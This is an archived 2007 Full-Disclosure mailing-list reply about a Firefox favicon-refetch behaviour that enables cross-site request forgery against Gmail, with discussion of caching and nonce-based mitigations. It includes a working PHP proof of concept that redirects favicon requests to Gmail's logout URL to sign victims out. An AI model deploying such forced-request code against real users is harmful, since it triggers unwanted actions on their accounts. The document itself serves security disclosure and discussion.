lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Date: Wed, 12 Dec 2007 10:08:29 -0800
From: coderman <coderman@...il.com>
To: "Kristian Erik Hermansen" <kristian.hermansen@...il.com>
Cc: full-disclosure@...ts.grok.org.uk
Subject: Re: Google / GMail bug, all accounts vulnerable

On Dec 12, 2007 9:31 AM, Kristian Erik Hermansen
<kristian.hermansen@...il.com> wrote:
> ...
> I point the favicon.ico object as a 301 redirect to a GMail URI.
> Since the favicon.ico object, for some reason, influences the account
> even without revisiting the website again, the GMail account is again
> influenced any time you click a tab.

there are two distinct behaviors: the first scenario, like above, is
if it never has a valid favicon.ico

and a cache expiry scenario, where the previously fetched favicon is
considered stale, and tried again.

the first scenario is very fetchy in ffox 2.x, with any tab selection
treated as if "oh tabs, i wonder if i can grab that favicon that
failed...", the second is less so, but more reliable across
versions/browsers (that is, if you configure the favicon to expire per
http headers, it will be retrieved more frequently.)


> It is an interesting finding,
> and not one that I have heard ever publicly stated.  Correct me if I
> am wrong here, but why would the favicon.ico object be requested every
> time you merely click on a tab?

for a few ffox versions and scenarios as described above, yes.


> And does this only happen in FF, or
> IE as well?   What other browser's exhibit this behavior and/or is it
> supposed to be this way?

other browsers not nearly as fetch happy.  plz for someone to do a
thorough audit of scenarios, cache limited headers, and compare.  (who
cares about favicons, right? lol)


> The suggested prevention tactic is to ask for a password
> upon any account modifications.  However, this does not always seem to
> be implemented.

lazy bastards...

there is also the hidden form element / nonce / id.  any page that
needs authorization includes a challenge in hidden element.  this must
be posted back with any sensitive request, and changes on every page
generation. (formal name for this?) .. but this is a weak hurdle to
thwart with.


> The worst part
> about all of this is that there doesn't seem to be a viable solution
> at the moment, which is why everyone should start thinking about the
> problems now.

keep your sessions separate.  this is left as an exercise for the reader. :)

---

for fun with expiry and such, try initial hand over of valid icon,
expire, then fun with subsequent reqs (cookie for state).
also, just redirect for testing the never-cached scenario.  arg() is
from GET or POST, but smarties should know it already...

(oh god, i just pasted lameugly php to the world.  my shame!)

<?php
function nocachehdrs() {
  //header("Cache-Control: no-store, no-cache, max-age=0");
  //header("Cache-Control: no-store, no-cache, max-age=-1");
  header("Cache-Control: no-store, no-cache, max-age=2");
  header("pragma: no-cache");
}
function dopage () {
  print '<html><head><title>Pwnies</title>';
  //print '<link rel="shortcut icon" href="/flavafav/favicon.ico">';
  //print '<link rel="icon" href="/flavafav/favicon.ico">';
  print '<link rel="shortcut icon" href="/flavafav/favicon.ico"
type="image/vnd.microsoft.icon">';
  print '<link rel="icon" href="/flavafav/favicon.ico"
type="image/vnd.microsoft.icon">';
  print '</head><body><center><h1>OMG Pwnies!</h1></center></body></html>';
}
function dispicon () {
  nocachehdrs();
  $ifile = "/var/www/html/favicon.ico";
  $clen = @filesize($ifile);
  //header("Content-Type: image/x-icon");
  header("Content-Type: image/vnd.microsoft.icon");
  header("Content-Disposition:inline");
  header('Content-Transfer-Encoding: binary');
  header("Content-Length: $clen");
  readfile($ifile);
}
function do_eet () {
session_start();
if (arg(1) == "favicon.ico") {
  if (isset($_COOKIE["BYE"])) {
    header('Location: https://mail.google.com/mail/?logout&hl=en');
  }
  else {
    setcookie("BYE", "1", (time()+(3600 * 24 * 365 * 10)));
    dispicon ();
  }
}
else {
  nocachehdrs();
  dopage();
}
exit(0);
}
?>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ